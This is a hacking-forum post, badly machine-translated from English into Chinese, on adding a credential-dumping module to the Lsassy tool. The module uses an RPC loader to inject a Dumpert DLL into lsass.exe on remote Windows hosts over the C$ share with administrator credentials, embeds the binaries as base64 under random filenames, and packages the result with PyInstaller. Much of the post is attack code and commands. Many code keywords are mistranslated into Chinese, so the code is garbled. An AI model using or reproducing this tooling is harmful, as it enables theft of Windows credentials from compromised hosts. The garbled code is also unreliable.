跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Lsassy二次开发——添加倾销方法


Anonymous

推荐的帖子

0x00 前言

在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介绍了Lsassy的用法,Lsassy能够实现远程从lsass.exe进程导出凭据。本文将要在Lsassy的基础上进行二次开发,添加一个导出凭据的方法,记录细节。

0x01 简介

本文将要介绍以下内容:

二次开发的细节

开源代码

0x02 导出凭据的方法

在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到过使用位置遥控(远程位置控制)控制lsass加载法定病假工资的方式向lsass.exe进程注入dll,由动态链接库来实现倾销的功能,这个方法是Lsassy缺少的

这个方法共分为两部分:

(1)加载器

使用位置遥控(远程位置控制)控制lsass进程加载动态链接库文件

可参考XPN开源的代码:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

在编译代码时,为了提高通用性,编译选项选择在静态库中使用MFC,在原代码的基础上添加如下代码:

#杂注注释(lib,' Rpcrt4.lib ')

编译代码生成文件rpcloader.exe

(2)dll文件

动态链接库文件实现从lsass.exe进程导出凭据,代码可参考:

https://github。com/outblank nl/Dumpert/blob/master/Dumpert-DLL/outblank-Dumpert-DLL/Dumpert。c

动态链接库加载时会将倾销文件保存为c:\windows\Temp\dumpert.dmp

编译代码生成文件dumpert.dll

经过以上操作,得到文件rpcloader.exe和dumpert.dll,作为二次开发的准备

0x03 二次开发的细节

1.添加一个需要指定文件路径的dump方法

格式参考:https://github。com/hack ndo/lsassy/blob/master/lsassy/dump方法/dummy。py。电信程序设计语言(Telecommunications Programming Language的缩写)

根据参考格式写出模块代码,我这里额外做了一些标记,细节如下:

从lsassy.dumpmethod导入IDumpMethod,依赖项

类DumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp' //进程倾销文件保存的文件名

dump_share='C$'//进程倾销文件保存的磁盘

dump_path='\\Windows\\Temp\'//进程倾销文件保存的路径

def __init__(自身,会话,超时):

超级()。__init__(会话,超时)

自我。loader=Dependency(' RPC loader ',' rpc.exe') //rpcloader为命令行使用的参数名,rpc.exe为上传文件保存的文件名

self.dll=依赖项(' dll ',' rpc.dll')//dll为命令行使用的参数名,rpc.dll为上传文件保存的文件名

定义准备(自身,选项):

回归自我。准备依赖项(选项,[self.loader,self.dll]) //确认命令行参数是否正确

定义清理(自我):

自我。clean _ dependencies([self。loader,self.dll]) //清除上传的文件

def get_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{} {} ' ' ' .格式(

self.loader.get_remote_path(),self.dll.get_remote_path()//执行的命令:c:\ windows \ temp \ RPC。exe c:\ windows \ temp \ RPC。动态链接库

)

pwsh_command='''{} {} ' ' ' .格式(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

返回{

cmd': cmd_command

' pwsh': pwsh_command

}

将以上代码保存至\ Lib \ site-packages \ lsassy \ dump method \ raw RPC。巴拉圭

注:

上传的文件可以使用随机名称,代码自我。loader=Dependency(' RPC loader ',' rpc.exe ')

可修改为自我。loader=Dependency(' RPC loader ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .exe’),代码self.dll=依赖项(“动态链接库”,“rpc.dll”)可修改为self.dll=依赖项(' dll ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .dll’)

测试命令:

lsassy-u管理员密码1 192。168 .1 .1-m原始RPC-O RPC loader _ path=c:\ test \ RPC loader。dll_path=c:\test\dumpert.dll

该方法会将本地的c:\test\rpcloader.exe和c:\test\dumpert.dll复制到远程主机并命名为c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,将lsass进程的倾销文件保存为c:\windows\temp\dumpert.dmp

2.添加一个全自动的dump方法

为了使以上整个过程自动化,这里可以选择将可执行程序的扩展名和动态链接库文件作base64编码保存在变量中

base64编码的实现代码:

导入base64

用打开(' rpcloader.exe ',' rb ')作为法国:

content=fr.read()

data1=base64.b64encode(内容)。解码(“utf8”)

用打开(' rpcloader-base64.txt ',' w ')作为fw:

fw.write数据1)

用打开(' dumpert.dll ',' rb ')作为法国:

content=fr.read()

data1=base64.b64encode(内容)。解码(“utf8”)

用打开(' dumpert-base64.txt ',' w ')作为fw:

fw.write数据1)

将生成rpcloader-base64.txt和dumpert-base64.txt替换以下代码中的

导入base64

随机导入

导入字符串

从lsassy.dumpmethod导入IDumpMethod,依赖项

类DumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp '

dump_share='C$ '

dump_path='\\Windows\\Temp\ '

def __init__(自身,会话,超时):

超级()。__init__(会话,超时)

自我。loader=Dependency(' RPC loader ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .exe’)

自我。装载机。内容=base64。b64解码(')

self.dll=依赖项(' dll ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .dll’)

自我。dll。内容=base64。b64解码(')

定义准备(自身,选项):

回归自我。准备依赖项(选项,[self.loader,self.dll])

定义清理(自我):

自我。clean _ dependencies([self。loader,self.dll])

def get_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{} {} ' ' ' .格式(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

pwsh_command='''{} {} ' ' ' .格式(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

返回{

cmd': cmd_command

' pwsh': pwsh_command

}

将以上代码保存至\ Lib \ site-packages \ lsassy \ dump method \ raw RPC _ embedded。巴拉圭

测试命令:

lsassy-u管理员密码1 192。168 .1 .1m原始RPC _ embedded

3.打包成exe文件

完整的打包命令:

py安装程序-F控制台。隐藏导入unicode。后端。纯粹。隐藏导入unicode。后端。纯粹。隐藏-导入unicode。后端。纯粹。AES-hidden-import unicode。后端。纯粹。RC4-隐藏-进口lsassy。转储方法。隐藏-导入lsassy。转储方法。com SVCs _ stealth-hidden-import lsassy。导入lsassy。转储方法。dll注入隐藏导入lsassy。转储方法。杜(姓氏)

0x04 小结

Lsassy将不同的功能模块化,结构设置合理,添加倾销方法仅需要修改自卸车模块对应的实现代码。我已经将新添加的模块推送至伊莎西,在最新版的Lsassy可以直接使用这个模块。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...